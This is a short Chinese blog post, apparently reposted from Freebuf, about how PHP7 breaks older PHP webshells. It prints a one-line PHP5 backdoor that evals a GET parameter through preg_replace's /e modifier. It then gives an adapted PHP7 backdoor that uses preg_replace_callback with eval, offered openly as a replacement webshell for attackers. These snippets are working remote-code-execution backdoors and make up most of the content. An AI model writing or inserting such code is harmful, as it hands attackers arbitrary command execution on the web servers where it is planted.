最新消息:图 床

PHP7 和 PHP5 在安全上的區別

COOL IAM 222浏览 0评论

作者:溫酒
來源:Freebuf

前言

之前測試的時候發現很多菜刀的馬都不能用了,大馬也幾乎3/4不能正常在php7運行。網上百度也沒有找到太多相關性的文章,就自己總結測試了一下關於安全性上的區別。

函數修改

preg_replace()不再支持/e修飾符

<?php
preg_replace("/.*/e",$_GET["h"],"."); 
?>

利用/e修飾符執行代碼的後門大家也用了不少了,具體看官方的這段描述:

如果設置了這個被棄用的修飾符, preg_replace() 在進行了對替換字符串的 後向引用替換之後, 將替換后的字符串作為php 代碼評估執行(eval 函數方式),並使用執行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 後向引用替換時會被用反斜線轉義.

很不幸,在PHP7以上版本不在支持/e修飾符,同時官方給了我們一個新的函數preg_replace_callback

這裡我們稍微改動一下就可以利用它當我們的後門:

<?php
preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);
?>

转载请注明:IAMCOOL » PHP7 和 PHP5 在安全上的區別

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x